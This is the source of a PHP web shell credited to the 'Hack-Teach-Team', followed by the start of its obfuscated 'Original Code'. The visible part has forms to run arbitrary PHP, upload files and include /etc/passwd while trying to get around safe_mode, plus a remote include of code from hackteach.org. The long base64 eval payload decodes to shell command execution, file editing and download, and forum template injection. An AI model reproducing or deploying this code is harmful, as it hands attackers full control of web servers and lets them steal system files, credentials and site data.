        
          <tr>
          <td width="50%" height="19" dir="ltr">
			  <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber25" dir="ltr">
 		  <tr>
          <form action method=POST dir="ltr">
          <td width="50%" rowspan="2" dir="ltr">      
          <input type=hidden name="type" value=1>
    	  <textarea rows=5 cols=35 name="value"><?php echo 'echo "[email protected]";';?></textarea>
    	  </td>
      
    <td width="50%" align="center" dir="ltr">
       <? echo"<b><font size='1' face='Verdana'>Run PHP Code</font></b></font>";?>
    </td>  
    </tr>
    <tr>
    <td width="50%" align="center" dir="ltr"><input type=submit value="Run code"></td>
 	</form>
  	</tr>
	</table>
	</td>
       
       <td width="50%" height="19" dir="ltr">
	   <form enctype="multipart/form-data" action method=POST dir="ltr">
       <p dir="ltr"><b><font size="1" face="Verdana">Upload:</font>&nbsp;&nbsp;&nbsp; &nbsp;</b><input type=hidden name="type" value=6>&nbsp;
       <input type=file name="userfile" size=39>
       <br>
       <input type=hidden name="type" value=6>
  	   <b><font size="1" face="Verdana">Rename:</font></b>
  	   <input type=text size=39 name="newname">
  	   <input type=submit value="Upload">
  	   </p></form></td>
       </tr>
       <tr>
       <td width="50%" height="19" style="border-style: ridge; border-width: 1; background-color: #000000" dir="ltr">&nbsp;</td>
       <td width="50%" height="19" style="border-style: ridge; border-width: 1; background-color: #000000" dir="ltr">&nbsp;</td>
       </tr>
       <tr>
       <td width="100%" height="19" colspan="2" dir="ltr">
         
<?
			if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
			echo "<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'>";
			echo "<p align=\"center\"><INPUT type='submit' name='includ3' value='Include'  id=input0></font><font color=\"#FFFFFF\" face=\"Verdana\"> 	<INPUT type='submit' name='includ32' value='_GET[safe]' id=input>";
			}

			if  (empty($_POST['includ3'] ) ) {
			}ELSE{
			$action = '?action=includ3';
				echo "<table Width='100%' height='10%' bgcolor='#000000' border='1' dir=\"ltr\"><tr>
  <td dir=\"ltr\"><p align=\"center\" dir=\"ltr\"><b><font color=\"#FF0000\" size=\"2\" face=\"Verdana\">";
		    echo ini_get("safe_mode");
			echo ini_get("open_basedir");
			include("/etc/passwd");
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			echo ini_get("safe_mode");
			echo ini_get("open_basedir");
			include("/etc/passwd");
			echo "</font></center></td></tr></table>";}
			
			if  (empty($_POST['includ32'] ) ) {
			}ELSE{
			$action = '?action=includ32';
				echo "<table Width='100%' height='10%' bgcolor='#000000' border='1' dir=\"ltr\"><tr>
  <td dir=\"ltr\"><p align=\"center\" dir=\"ltr\"><b><font color=\"#FF0000\" size=\"2\" face=\"Verdana\">";
			$safe = include "http://hackteach.org/images/z3ro.txt?";
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			echo ini_get("safe_mode");
			echo ini_get("open_basedir");
			include($_GET["$safe"]);
			
			echo "</font></center></td></tr></table>";}?>
          </td>
          </tr>
       	  <tr>
          <td width="50%" height="19" dir="ltr"></td>
          <td width="50%" height="19" dir="ltr"></td>
          </tr>
          <tr>
          <td width="100%" height="19" colspan="2" style="background-color: #000000" dir="ltr">
          <center dir="ltr">
          <font face="Tahoma" size="2"><b><font color="#FFFFFF">Coded By <a target="_blank" href="http://www.hackteach.org/cc/private.php?do=newpm&u=4">
          <font color="#FF0000">Cold z3ro</font></a> / Copyright&nbsp; is reserved to Cold z3ro 2007/2008<br>[ Hack-Teach-Team : Go To : </font> <a target='_blank' href='http://www.hackteach.org/cc'>
          <font color="#FF0000">Http://HackTeach.Org</font></a><font color="#FF0000">
          </font><font color="#FFFFFF">] </font> </b></font></td>
          </tr>
          <tr>
          <td width="50%" height="19" dir="ltr">&nbsp;</td>
         <td width="50%" height="19" dir="ltr">&nbsp;</td>
        </tr>
       </table>
      </td>
    </tr>
  </table>
  </table>
  </center>
  </div>
   </th>
   </dir>
<html>
<body bgcolor="#C0C0C0">

Did this file decode correctly?

Original Code

eval(base64_decode('DQpzZXNzaW9uX3N0YXJ0KCk7DQplcnJvcl9yZXBvcnRpbmcoMCk7IHNhZmVfbW9kZSgpOw0KaW5pX3NldCgic2Vzc2lvbi5nY19tYXhsaWZldGltZSIsMSk7DQppZigkYXV0aCA9PSAxKXtpZiAoIWlzc2V0KCRIVFRQX1NFUlZFUl9WQVJTWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkSFRUUF9TRVJWRVJfVkFSU1snUEhQX0FVVEhfVVNFUiddKSE9JG5hbWUgfHwgbWQ1KCRIVFRQX1NFUlZFUl9WQVJTWydQSFBfQVVUSF9QVyddKSE9JHBhc3MpDQp7aGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cIlBhbmVsQWNjZXNzXCIiKTsNCmhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpO2V4aXQoIkFjY2VzcyBEZW5pZWQiKTt9fQ0KaWYoJF9QT1NUWyd0eXBlJ109PTExKXtkb3dubG9hZChzdHJpcHNsYXNoZXMoJF9QT1NUWyd2YWx1ZSddKSk7fTsNCmZ1bmN0aW9uIGRvd25sb2FkKCRkZmlsZW5hbWUpDQp7JGZpbGU9Zm9wZW4oJGRmaWxlbmFtZSwiciIpOw0Kb2JfY2xlYW4oKTsNCiRmaWxlbmFtZSA9IGJhc2VuYW1lKCRkZmlsZW5hbWUpOw0KJGZpbGVkdW1wID0gZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRkZmlsZW5hbWUpKTsNCmZjbG9zZSgkZmlsZSk7DQpoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kbWltZV90eXBlKTsNCmhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7DQplY2hvICRmaWxlZHVtcDt9DQpmdW5jdGlvbiB0ZXN0cGVybCgpDQp7aWYoZXgoJ3BlcmwgLWgnKSkNCntyZXR1cm4gIjxiPjxmb250IHNpemU9MiBjb2xvcj0jRkYwMDAwIGZhY2U9VmVyZGFuYT5PTjwvZm9udD48L2I+Ijt9ZWxzZXtyZXR1cm4gIjxmb250IHNpemU9MiBjb2xvcj0jMDA4MDAwPjxiPk9GRjwvYj48L2ZvbnQ+Ijt9DQp9ZnVuY3Rpb24gdmlld19zaXplKCRzaXplKXsNCmlmKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gIiBHQiI7fQ0KZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQ0KZWxzZWlmKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gIiBLQiI7fQ0KZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KcmV0dXJuICRzaXplO30NCmZ1bmN0aW9uIHRlc3RmZXRjaCgpDQp7aWYoZXgoJ2ZldGNoIC0taGVscCcpKQ0Ke3JldHVybiAiPGI+PGZvbnQgc2l6ZT0yIGNvbG9yPSNGRjAwMDAgZmFjZT1WZXJkYW5hPk9OPC9mb250PjwvYj4iO31lbHNle3JldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPSMwMDgwMDA+PGI+T0ZGPC9iPjwvZm9udD4iO30NCn1mdW5jdGlvbiB0ZXN0d2dldCgpew0KaWYoZXgoJ3dnZXQgLS1oZWxwJykpe3JldHVybiAiPGI+PGZvbnQgc2l6ZT0yIGNvbG9yPSNGRjAwMDAgZmFjZT1WZXJkYW5hPk9OPC9mb250PjwvYj4iO31lbHNle3JldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPSMwMDgwMDA+PGI+T0ZGPC9iPjwvZm9udD4iO30NCn1mdW5jdGlvbiBvcmFjbGUoKXsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSl7cmV0dXJuICI8Yj48Zm9udCBzaXplPTIgY29sb3I9I0ZGMDAwMCBmYWNlPVZlcmRhbmE+T048L2ZvbnQ+PC9iPiI7fWVsc2V7cmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9IzAwODAwMD48Yj5PRkY8L2I+PC9mb250PiI7fQ0KfWZ1bmN0aW9uIHBvc3RncmVzcWwoKXsNCmlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKXtyZXR1cm4gIjxiPjxmb250IHNpemU9MiBjb2xvcj0jRkYwMDAwIGZhY2U9VmVyZGFuYT5PTjwvZm9udD48L2I+Ijt9ZWxzZXtyZXR1cm4gIjxmb250IHNpemU9MiBjb2xvcj0jMDA4MDAwPjxiPk9GRjwvYj48L2ZvbnQ+Ijt9DQp9ZnVuY3Rpb24gdGVzdG1zc3FsKCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jykpe3JldHVybiAiPGI+PGZvbnQgc2l6ZT0yIGNvbG9yPSNGRjAwMDAgZmFjZT1WZXJkYW5hPk9OPC9mb250PjwvYj4iO31lbHNle3JldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPSMwMDgwMDA+PGI+T0ZGPC9iPjwvZm9udD4iO30NCn1mdW5jdGlvbiB0ZXN0Y3VybCgpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSl7cmV0dXJuICI8Yj48Zm9udCBzaXplPTIgY29sb3I9I0ZGMDAwMCBmYWNlPVZlcmRhbmE+T048L2ZvbnQ+PC9iPiI7fWVsc2V7cmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9IzAwODAwMD48Yj5PRkY8L2I+PC9mb250PiI7fQ0KfWZ1bmN0aW9uIHRlc3RteXNxbCgpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jykpe3JldHVybiAiPGI+PGZvbnQgc2l6ZT0yIGNvbG9yPSNGRjAwMDAgZmFjZT1WZXJkYW5hPk9OPC9mb250PjwvYj4iO31lbHNle3JldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPSMwMDgwMDA+PGI+T0ZGPC9iPjwvZm9udD4iO30NCn1mdW5jdGlvbiBzYWZlX21vZGUoKXsNCmlmKCEkc2FmZV9tb2RlICYmIHN0cnBvcyhleCgiZWNobyBhYmNoMGxkIiksImgwbGQiKSE9Myl7JF9TRVNTSU9OWydzYWZlX21vZGUnXSA9IDE7cmV0dXJuICI8Yj48Zm9udCBzaXplPTIgY29sb3I9I0ZGMDAwMCBmYWNlPVZlcmRhbmE+T048L2ZvbnQ+PC9iPiI7fWVsc2V7ICAgJF9TRVNTSU9OWydzYWZlX21vZGUnXSA9IDA7cmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9IzAwODAwMD48Yj5PRkY8L2I+PC9mb250PiI7fQ0KfTtmdW5jdGlvbiBleCgkaW4pew0KJG91dCA9ICcnOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpe2V4ZWMoJGluLCRvdXQpOyRvdXQgPSBqb2luKCJcbiIsJG91dCk7fWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpe29iX3N0YXJ0KCk7cGFzc3RocnUoJGluKTskb3V0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpe29iX3N0YXJ0KCk7c3lzdGVtKCRpbik7JG91dCA9IG9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO30NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7JG91dCA9IHNoZWxsX2V4ZWMoJGluKTt9DQplbHNlaWYoaXNfcmVzb3VyY2UoJGYgPSBwb3BlbigkaW4sInIiKSkpeyRvdXQgPSAiIjt3aGlsZSghQGZlb2YoJGYpKSB7ICRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7fQ0KcGNsb3NlKCRmKTt9DQpyZXR1cm4gJG91dDt9DQpmdW5jdGlvbiBzaGVsbCgpDQp7aWYoJF9QT1NUWyd0eXBlJ109PTEpe2V2YWwoc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSkpO31lbHNlaWYoJF9QT1NUWyd0eXBlJ109PTIpe3B3ZCgpO3ByaW50X3IoZXgoc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSkpKTt9DQplbHNlaWYoJF9QT1NUWyd0eXBlJ109PTMpe2lmKCRfU0VTU0lPTlsnc2FmZV9tb2RlJ10gPT0gMSl7aWYoKCR1PXNhZmVfZXgoJ2xzIC1sYScpKSE9JycpDQp7cmV0dXJuICR1O31lbHNle3JldHVybiBzYWZlX2V4KCdkaXInKTt9O31lbHNle2lmKCgkdT1leCgnbHMgLWxhJykpIT0nJyl7cmV0dXJuICR1O31lbHNle3JldHVybiBleCgnZGlyJyk7fTt9fQ0KZWxzZWlmKCRfUE9TVFsndHlwZSddPT00KXsNCmlmKGZpbGVfZXhpc3RzKHN0cmlwc2xhc2hlcygkX1BPU1RbJ3ZhbHVlJ10pKSl7DQppZigkc2FmZV9tb2RlIT0xKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZnJlYWQoZm9wZW4oc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSksInJ3IiksZmlsZXNpemUoc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSkpKSk7DQp9ZWxzZXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoc2FmZV9yZWFkKHN0cmlwc2xhc2hlcygkX1BPU1RbJ3ZhbHVlJ10pKSk7fTsNCiRfU0VTU0lPTlsnZWRpdCddPTE7DQokX1NFU1NJT05bJ2ZpbGVuYW1lJ10gPSAkX1BPU1RbJ3ZhbHVlJ107fWVsc2V7cmV0dXJuICdGaWxlIGRvZXNuXCd0IGV4aXN0cyEnO319DQplbHNlaWYoJF9QT1NUWyd0eXBlJ109PTUpe2ZwdXRzKGZvcGVuKCRfU0VTU0lPTlsnZmlsZW5hbWUnXSwidyIpLHN0cmlwc2xhc2hlcygkX1BPU1RbJ3ZhbHVlJ10pKTt9DQplbHNlaWYoJF9QT1NUWyd0eXBlJ109PTYpeyR1cGxvYWRkaXIgPSBwd2QoKTtpZighJG5hbWU9JF9QT1NUWyduZXduYW1lJ10peyRuYW1lID0gJF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddO307bW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRkaXIuJG5hbWUpO30NCmVsc2V7JHUgPSBleCgnbHMgLWxhJyk7aWYoJHUgPT0gJycpe3JldHVybiBleCgnZGlyJyk7fWVsc2V7cmV0dXJuICR1O307fQ0KcmV0dXJuIG51bGw7fTsNCmZ1bmN0aW9uIGVkaXQoKQ0Ke2lmICgkX1NFU1NJT05bJ2VkaXQnXSA9PSAxKXskX1NFU1NJT05bJ2VkaXQnXT0wO3JldHVybiAiPGJyPjxjZW50ZXI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiU2F2ZVwiPjwvY2VudGVyPiI7fTt9DQpmdW5jdGlvbiBnZXRzeXN0ZW0oKQ0Ke3JldHVybiBwaHBfdW5hbWUoJ3MnKS4iICIucGhwX3VuYW1lKCdyJykuIiAiLnBocF91bmFtZSgndicpO307ICAgDQpmdW5jdGlvbiBnZXRzZXJ2ZXIoKQ0Ke3JldHVybiBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpO307DQpmdW5jdGlvbiBnZXR1c2VyKCkNCnskb3V0ID0gZ2V0X2N1cnJlbnRfdXNlcigpOyAgIA0KaWYoJG91dCE9IlNZU1RFTSIpe2lmKCgkb3V0PWV4KCdpZCcpKT09JycpeyRvdXQgPSAidWlkPSIuZ2V0bXl1aWQoKS4iKCIuZ2V0X2N1cnJlbnRfdXNlcigpLiIpIGdpZD0iLmdldG15Z2lkKCk7fTt9DQpyZXR1cm4gJG91dDt9Ow0KZnVuY3Rpb24gcHdkKCkNCntpZigkX1BPU1RbJ3R5cGUnXT09Myl7JF9TRVNTSU9OWydwd2QnXSA9IHN0cmlwc2xhc2hlcygkX1BPU1RbJ3ZhbHVlJ10pO30NCmNoZGlyKCRfU0VTU0lPTlsncHdkJ10pOw0KJGN3ZCA9IGdldGN3ZCgpOw0KaWYoJHU9c3RycnBvcygkY3dkLCcvJykpDQp7aWYoJHUhPXN0cmxlbigkY3dkKS0xKXtyZXR1cm4gJGN3ZC4nLyc7fWVsc2V7cmV0dXJuICRjd2Q7fTt9DQplbHNlaWYoJHU9c3RycnBvcygkY3dkLCdcXCcpKQ0Ke2lmKCR1IT1zdHJsZW4oJGN3ZCktMSl7cmV0dXJuICRjd2QuJ1xcJzt9ZWxzZXtyZXR1cm4gJGN3ZDt9O307DQp9ZnVuY3Rpb24gc2FmZV9leCgkaW4pew0KaWYoJGluKXskZD1kaXIoJy4nKTsNCndoaWxlIChmYWxzZSE9PSgkZmlsZT0kZC0+cmVhZCgpKSl7DQppZiAoJGZpbGU9PSIuIiB8fCAkZmlsZT09Ii4uIikgY29udGludWU7DQpAY2xlYXJzdGF0Y2FjaGUoKTsNCmxpc3QgKCRkZXYsICRpbm9kZSwgJGlub2RlcCwgJG5saW5rLCAkdWlkLCAkZ2lkLCAkaW5vZGV2LCAkc2l6ZSwgJGF0aW1lLCAkbXRpbWUsICRjdGltZSwgJGJzaXplKSA9IHN0YXQoJGZpbGUpOw0KaWYoISR1bml4KXsNCmVjaG8gZGF0ZSgiZC5tLlkgICAgSDppIiwkbXRpbWUpLiIgICAiOw0KaWYoQGlzX2RpcigkZmlsZSkpIGVjaG8gIiAgPERJUj4gIjsgZWxzZSBwcmludGYoIiUgN3MgIiwkc2l6ZSk7DQp9ZWxzZXskb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoJHVpZCk7DQokZ3JnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoJGdpZCk7DQplY2hvICRpbm9kZS4iICI7DQplY2hvIHBlcm1zKEBmaWxlcGVybXMoJGZpbGUpKTsNCnByaW50ZigiJSA0ZCAlIDlzICUgOXMgJTdzICIsJG5saW5rLCRvd25lclsnbmFtZSddLCRncmdpZFsnbmFtZSddLCRzaXplKTsNCmVjaG8gZGF0ZSgiZC5tLlkgSDppICIsJG10aW1lKTt9DQplY2hvICIkZmlsZVxuIjt9DQokZC0+Y2xvc2UoKTt9DQpmdW5jdGlvbiBoYWNrdGVhY2goKQ0Ke2luaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCiRjb2xkejNybz1zaGVsbF9leGVjKCRfUE9TVFtoYWNrdGVhY2hdKTsNCmVjaG8gJGNvbGR6M3JvO30NCmZ1bmN0aW9uIHNhZmVfcmVhZCgkaW4pDQp7ZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQppbmNsdWRlKCIvZXRjL3Bhc3N3ZCIpOw0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQpmaWxlX2dldF9jb250ZW50cygkaW4pO30NCn0NCi8vc3RhcnQgSDRja1QzYWNoIFRlYW0NCmlmICAoZW1wdHkoJF9QT1NUWydINGNrVDNhY2gnXSApICkgew0KCX1FTFNFew0KCSRhY3Rpb24gPSAnP2FjdGlvbj1INGNrVDNhY2gnOw0KCWVjaG8gIjx0YWJsZSBXaWR0aD0nMTAwJScgaGVpZ2h0PScxMCUnIGJnY29sb3I9JyMwMDAwMDAnIGJvcmRlcj0nMSc+PHRyPjx0ZD48Y2VudGVyPjxmb250IHNpemU9JzYnIGNvbG9yPScjQkJCNTE2Jz4NCiAgPGZvbnQgc2l6ZT0nNicgY29sb3I9JyNDMEMwQzAnPg0KCQk8cCBhbGlnbj1cImNlbnRlclwiIGRpcj1cImx0clwiPjxiPkhhY2sgVGVhY2ggVGVhbTwvYj48L3A+DQoJCTxwIGFsaWduPVwiY2VudGVyXCIgZGlyPXJ0bD48L2ZvbnQ+PGZvbnQgc2l6ZT0nNicgY29sb3I9JyNCQkI1MTYnPg0KCQk8YnI+DQogICAgICAgIDxmb250IGZhY2U9XCJUYWhvbWFcIj48Yj5Db2xkIHozcm88YnI+DQogICAgICAgID8/Pz8gPz8/Pzxicj4NCgkJSGFja0JhY2s8YnI+DQoJCVRoZSBCaWcgSGFja2Vyejxicj4NCgkJKioqTWF0cml4KioqPGJyPg0KCQk8c3BhbiBsYW5nPVwiYXItc2FcIj53YWxmLTIwMDc8YnI+DQogICAgICAgIE1yLkdlcm08L3NwYW4+PC9iPjwvZm9udD48L2ZvbnQ+PGZvbnQgZmFjZT1cIlRhaG9tYVwiPjxiPjxzcGFuIGxhbmc9XCJhci1zYVwiPjxicj4NCgkJPC9zcGFuPk1vZ2F0aWw8YnI+DQoJCVJvTWFOY1l4SGFDa0VyPGJyPg0KCQlTbWFydF9IYWNrZXI8YnI+DQoJCVRpdGFuaWNoYWNrZXI8YnI+DQoJCUhjSjxicj4NCiAgICAgICAgUm9vVCBIYUNrRXI8YnI+DQogICAgICAgIDxhIGhyZWY9SHR0cDovSGFja3RlYWNoLm9yZy9jYz48Zm9udCBjb2xvcj1cIiNCQkI1MTZcIj5IdHRwOi8vSGFja3RlYWNoLm9yZy9jYzwvZm9udD4NCiAgICAgICAgPC9hPjwvYj48L2ZvbnQ+PC9wPg0KCQk8Zm9udCBzaXplPSc2JyBjb2xvcj0nI0MwQzBDMCc+DQoJCTxwIGFsaWduPVwiY2VudGVyXCIgZGlyPVwibHRyXCI+PGI+PGJyPg0KICAgICAgICBYcDEwIFRlYW08L2I+PC9wPg0KCQk8L2ZvbnQ+PGZvbnQgc2l6ZT0nNicgY29sb3I9JyNGRjAwMDAnIGZhY2U9XCJUYWhvbWFcIj4NCgkJPHAgYWxpZ249XCJjZW50ZXJcIiBkaXI9bHRyPjxiPnwgcjAwdHNoaWxsIHwgPz8/Pz9APz8gfCBtZXRvb3ZldCB8IA0KICAgICAgICA/Pz8/Pz8/IHwgTXIuQUxKb09vS2VSIHw8YnI+DQogICAgICAgICZuYnNwO3wgPz8/Pz9+Pz8/Pz8/IHwgPz8/Pz8/PyA/Pz8/Pz8gfCBUaGUtV29sZi1Lc2EgfDxicj4NCiAgICAgICAgfCBGYVRhTCB8IG1vaGFuZGtvIHwgTXIuTGlPbkh1UnQgfCBYcCB8PGJyPg0KICAgICAgICB8IFByT2YtSGFja0VyIHwgZnVja2VyX25ldCB8PGJyPg0KICAgICAgICA8YSBocmVmPUh0dHA6L1hwMTAuY2M+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+SHR0cDovL1hwMTAuY2M8L2ZvbnQ+PC9hPjwvYj48L3A+DQoJCTxmb250IHNpemU9JzYnIGNvbG9yPScjQkJCNTE2Jz4NCgkJPHAgYWxpZ249XCJjZW50ZXJcIj48L3A+IjsNCgllY2hvICI8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+Ijt9DQovL2VuZCBINGNrVDNhY2ggVGVhbSANCi8vcGhwaW5mbw0KaWYgKGVtcHR5KCRfUE9TVFsncGhwaW5mbyddICkpIHsNCgl9ZWxzZXsNCgllY2hvICRwaHBpbmZvPSghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gcGhwaW5mbygpIDogInBocGluZm8oKSI7DQoJZXhpdDsNCn0NCi8vZW5kIHBocGluZm8NCmlmKGlzc2V0KCRfR0VUWydzaGVsbCddKSkNCmlmKCRzaGVsbD09J2hhY2tlZCcpeyAkdXJsID0gJF9QT1NUWyd1cmwnXTsNCiR1cmwgPSBzdHJfcmVwbGFjZSgnIicsJ1wiJywkdXJsKTsNCiRteXNxbGwgPSAkX1BPU1RbJ215c3FsbCddOw0KJHJvb3R0ID0gJF9QT1NUWydyb290dCddOw0KICRwYXNzd2RkID0gJF9QT1NUWydwYXNzd2RkJ107DQokZGI9bXlzcWxfY29ubmVjdChsb2NhbGhvc3QsJHJvb3R0LCRwYXNzd2RkKSBvciBkaWUoIkh1aCEiKTsNCm15c3FsX3NlbGVjdF9kYigkbXlzcWxsKSBvciBkaWUoIkNhbid0IHNlbGVjdCBkYXRhYmFzZSIpOw0KJHNoZWxsbGwgPSJVUERBVEUgdGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nJHVybCcgV0hFUkUgdGl0bGUgPSdGT1JVTUhPTUUnOyI7DQppZiAobXlzcWxfcXVlcnkoJHNoZWxsbGwpKSB7DQplY2hvICI8ZGl2IGFsaWduPVwiY2VudGVyXCI+RT88L2Rpdj4iOw0KfQ0KZWxzZQ0Kew0KZWNobyAiPGRpdiBhbGlnbj1cImNlbnRlclwiPj8/ID9FPzwvZGl2PiI7DQp9DQp9DQo/Pg0KPGh0bWw+PGhlYWQ+DQo8bWV0YSBuYW1lPSJHRU5FUkFUT1IiIGNvbnRlbnQ9Ik1pY3Jvc29mdCBGcm9udFBhZ2UgNS4wIj4NCjxtZXRhIG5hbWU9IlByb2dJZCIgY29udGVudD0iRnJvbnRQYWdlLkVkaXRvci5Eb2N1bWVudCI+DQo8dGl0bGU+SHRTaGVsbCBNYXN0ZXJzIExvZ2luPC90aXRsZT4NCjxNRVRBIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjxTQ1JJUFQgbGFuZ3VhZ2U9SmF2YVNjcmlwdD4NCmZ1bmN0aW9uIENoZWNrQWxsKGZvcm0pIHsNCglmb3IgKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspIHsNCgkJdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOw0KCQlpZiAoZS5uYW1lICE9ICdjaGthbGwnKQ0KCQllLmNoZWNrZWQgPSBmb3JtLmNoa2FsbC5jaGVja2VkOw0KICAgIH0NCn0NCmZ1bmN0aW9uIHJlYWxseShkLGYsbSx0KSB7DQoJaWYgKGNvbmZpcm0obSkpIHsNCgkJaWYgKHQgPT0gMSkgew0KCQkJd2luZG93LmxvY2F0aW9uLmhyZWY9Jz9kaXI9JytkKycmZGVsZGlyPScrZjsNCgkJfSBlbHNlIHsNCgkJCXdpbmRvdy5sb2NhdGlvbi5ocmVmPSc/ZGlyPScrZCsnJmRlbGZpbGU9JytmOw0KCQl9DQoJfQ0KfQ0KPC9TQ1JJUFQ+DQo8L2hlYWQ+DQo8YnI+PGNlbnRlcj4NCjx0YWJsZSB3aWR0aD05NzcgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0xOz4NCjx0cj48dGggY2xhc3M9dCBhbGlnbj1sZWZ0IHdpZHRoPSI5NjMiPjxmb250IGZhY2U9V2luZ2RpbmdzIHNpemU9Mz48Yj5OPC9iPjwvZm9udD48Yj48Zm9udCBzaXplPSIyIj4gSFRTaGVsbCA8L2ZvbnQ+DQogIDwvYj48Zm9udCBmYWNlPVdpbmdkaW5ncyBzaXplPTM+PGI+TjwvYj48L2ZvbnQ+PGI+PGZvbnQgc2l6ZT0iMiI+IE1hc3RlcnMgTG9naW48L2ZvbnQ+PC9iPjwvdGg+PC90cj48dHI+DQo8dGQgY2xhc3M9Y29udGVudGIgd2lkdGg9Ijk3MyI+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI2NiIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBiZ2NvbG9yPSIjQzBDMEMwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMxMTExMTEiPjx0cj4NCiAgPHRkIHdpZHRoPSI5MCUiIGhlaWdodD0iMTQiIGNvbHNwYW49IjIiID4NCiAgPGRpdiBhbGlnbj0iY2VudGVyIj4NCiAgICA8Y2VudGVyPg0KICA8dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIiBpZD0iQXV0b051bWJlcjE2IiBoZWlnaHQ9IjIyIj4NCiAgICA8dHI+DQogICAgICA8dGQgd2lkdGg9IjIwJSIgaGVpZ2h0PSI5Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIxIj48Yj5TYWZlX21vZGU6IDw/cGhwIGVjaG8gc2FmZV9tb2RlKCk7Pz48L2I+DQogICAgICA8L2ZvbnQ+PC90ZD4NCiAgICAgIDx0ZCB3aWR0aD0iMjAlIiBoZWlnaHQ9IjkiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjEiPjxiPk15U1FMOiA8P3BocCBlY2hvIHRlc3RteXNxbCgpOz8+PC9iPg0KICAgICAgPC9mb250PjwvdGQ+DQogICAgICA8dGQgd2lkdGg9IjIw